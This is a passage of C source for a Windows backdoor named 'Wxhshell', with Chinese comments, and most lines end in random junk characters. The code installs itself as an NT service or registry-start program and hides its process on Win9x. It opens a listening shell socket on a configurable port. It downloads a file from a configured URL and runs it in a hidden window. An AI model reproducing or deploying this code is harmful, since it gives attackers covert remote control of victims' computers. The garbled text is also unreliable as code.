ULONG UniqueProcessId; Hnaq+ _]
ULONG InheritedFromUniqueProcessId; n[clYi@e
} PROCESS_BASIC_INFORMATION; Fl
O%OD
?oF@q :W
PROCNTQSIP NtQueryInformationProcess; 4x3`dvfp/
Z`f _e?
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; HsXFglQ
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ''(T3;^ +
0 Hq$h
HANDLE hProcess; 9 (&!>z
PROCESS_BASIC_INFORMATION pbi; kfHLjr.
Oll\T GXP!
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); _6|b0*jv'&
if(NULL == hInst ) return 0; Zw3|HV(so
;xRyONt
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 9DT}sCLz:B
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); d
EXw=u
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); zL{KK9Or
z C``G<TB
if (!NtQueryInformationProcess) return 0; ?LW1D+
1k7E[G~G|
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); F8k1fmM]Y
if(!hProcess) return 0; H@6
b1^MX).vH
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; |GsLcUv6
5yQgGd)
CloseHandle(hProcess); H<>x_}&
<;Xj4
J
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); "'8$hV65.p
if(hProcess==NULL) return 0; 3j3AI7c
Ufk7%`
HMODULE hMod; O[m+5+
char procName[255]; 2
o.Mh/D0
unsigned long cbNeeded; e5AiIVlv
^yfT7050
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); D]0#A|nF
7<)
.luV
CloseHandle(hProcess); )i?wBxq'MA
^o{O5&i]
if(strstr(procName,"services")) return 1; // 以服务启动 2qEy"DKu
mbd@4u
return 0; // 注册表启动 4u;W1=+Vn
} l^SKd
`yf#(YP
// 主模块 _LS=O@s^
int StartWxhshell(LPSTR lpCmdLine) )QKZI))G0
{ rj6wKfz
SOCKET wsl; 0)nU[CY
BOOL val=TRUE; J"z8olV
int port=0; 3}sd%vCK
struct sockaddr_in door; APF-*/K?
1ptP ey
if(wscfg.ws_autoins) Install(); 7y60-6r
y)=Xo7j
port=atoi(lpCmdLine); \:Nbl<9(9
[3\}Ca1
if(port<=0) port=wscfg.ws_port; ul:jn]S*
NQOdgp
WSADATA data; ^
sz4rk
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ]v+\v re
-Z#A}h
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; wWH5T}\
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); \_+d*hHF~
door.sin_family = AF_INET; Bp b_y;E
door.sin_addr.s_addr = inet_addr("127.0.0.1"); &<~`?-c
door.sin_port = htons(port); jfI|( P
toP7b
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { zIlQqyOQ8
closesocket(wsl); m7d? SU
return 1; (l$bA_F\
} X09&S4
:*\JJ w
if(listen(wsl,2) == INVALID_SOCKET) { ?{+}gS^
closesocket(wsl); 1_F2{n:yp
return 1; x&kF;UC
} fghJj@ES
Wxhshell(wsl); n0cqM}P@;!
WSACleanup(); O6m}#?Ai/@
C^uXJ~8
return 0; pE`BB{[@
h nyZXk1|
} p^^<BjkQ
R@ihN?k
// 以NT服务方式启动 mH;\z;lyK
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) `i<U;?=0'
{ tQ*5[F,fm
DWORD status = 0; QupCr/Hs
DWORD specificError = 0xfffffff; zEa3a
-`A6K!W&~p
serviceStatus.dwServiceType = SERVICE_WIN32; 5I@< 6S&X
serviceStatus.dwCurrentState = SERVICE_START_PENDING; vQ
5
p
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 0Pbv7)=XL
serviceStatus.dwWin32ExitCode = 0; 2o6%P}C
serviceStatus.dwServiceSpecificExitCode = 0; _57i[U r
serviceStatus.dwCheckPoint = 0; }2G'3msx
serviceStatus.dwWaitHint = 0; ?*Jv&f#
&,bJ]J)8O
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 2'N%KKmJL
if (hServiceStatusHandle==0) return; B1\}'g8%f
g"F vD_
status = GetLastError(); [ibnI2I]`
if (status!=NO_ERROR) Q
xKC5`1
{ -cOLgrmp
serviceStatus.dwCurrentState = SERVICE_STOPPED; A5z5e#
,u
serviceStatus.dwCheckPoint = 0; `vUilh ^c
serviceStatus.dwWaitHint = 0; z#*fELV
serviceStatus.dwWin32ExitCode = status; '(~+
\
serviceStatus.dwServiceSpecificExitCode = specificError; +1_NB;,e
SetServiceStatus(hServiceStatusHandle, &serviceStatus); "*<9)vQ6|
return; s<aJ pi{n4
} LKTIwb>
ss.wX~I
serviceStatus.dwCurrentState = SERVICE_RUNNING; ^Qq_|{vynf
serviceStatus.dwCheckPoint = 0; IL&Mf9m
serviceStatus.dwWaitHint = 0; YGNO]Q~A
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 4OC^IS
} tpU[KR[-
{Q I"WFdGx
// 处理NT服务事件,比如:启动、停止 K&\xbT
VOID WINAPI NTServiceHandler(DWORD fdwControl) +Y6=;*j$
{ E]i3E[T
switch(fdwControl) ]w"r4HlCx
{ [Jwo,?w
case SERVICE_CONTROL_STOP: gm(`SC?a
serviceStatus.dwWin32ExitCode = 0; 3+0$=ef
serviceStatus.dwCurrentState = SERVICE_STOPPED; R>yoMk/u
serviceStatus.dwCheckPoint = 0; /n&w|b%
serviceStatus.dwWaitHint = 0; G
D$o|l]\
{ A+_361KH
SetServiceStatus(hServiceStatusHandle, &serviceStatus);
GMr jZ
} X`ee}C.D_
return; }e
s
case SERVICE_CONTROL_PAUSE: UXvUU^k"v
serviceStatus.dwCurrentState = SERVICE_PAUSED; :!n_a*.{
break; 1=}+NK!
case SERVICE_CONTROL_CONTINUE: I ze+](
serviceStatus.dwCurrentState = SERVICE_RUNNING; ]-&A)M6
break; &iORB
case SERVICE_CONTROL_INTERROGATE: wL\OAM6R
break; 3)3?/y)_
}; jEo)#j];`<
SetServiceStatus(hServiceStatusHandle, &serviceStatus); uD}Q}]Z
} !g'kWE[
a~>+I~^K5q
// 标准应用程序主函数 ]MKW5Kq
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) XShi[7
{ AAb3Jf`UW
&
=)HPzC
// 获取操作系统版本 ]QlgVw,
OsIsNt=GetOsVer(); j]Kpwf<NS
GetModuleFileName(NULL,ExeFile,MAX_PATH); {Cd Q)|
Zi/tax9C
// 从命令行安装 \!x~FVA
if(strpbrk(lpCmdLine,"iI")) Install(); oSq?.*w<
~=67#&(R
// 下载执行文件 bnIl@0Y
if(wscfg.ws_downexe) { "wy|gnQJ
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) MAb*4e#
WinExec(wscfg.ws_filenam,SW_HIDE); K&3,J7&&
} P%2aOsD0
8iA[w-Pv
if(!OsIsNt) { 6#hDj_(,
// 如果时win9x,隐藏进程并且设置为注册表启动 IOhJL'r
HideProc(); B:J([@\'
StartWxhshell(lpCmdLine); <Nwqt[.
} JFewOt3
else (E[c-1s
if(StartFromService()) ]Dec/Nnj
// 以服务方式启动 6?i]oy^X]p
StartServiceCtrlDispatcher(DispatchTable); <n? cRk'.
else nvY%{Zf$}
// 普通方式启动 MVP|l_2!
StartWxhshell(lpCmdLine); _Wg?H:\
v#c'p^T
return 0; Td(eNe_4T
}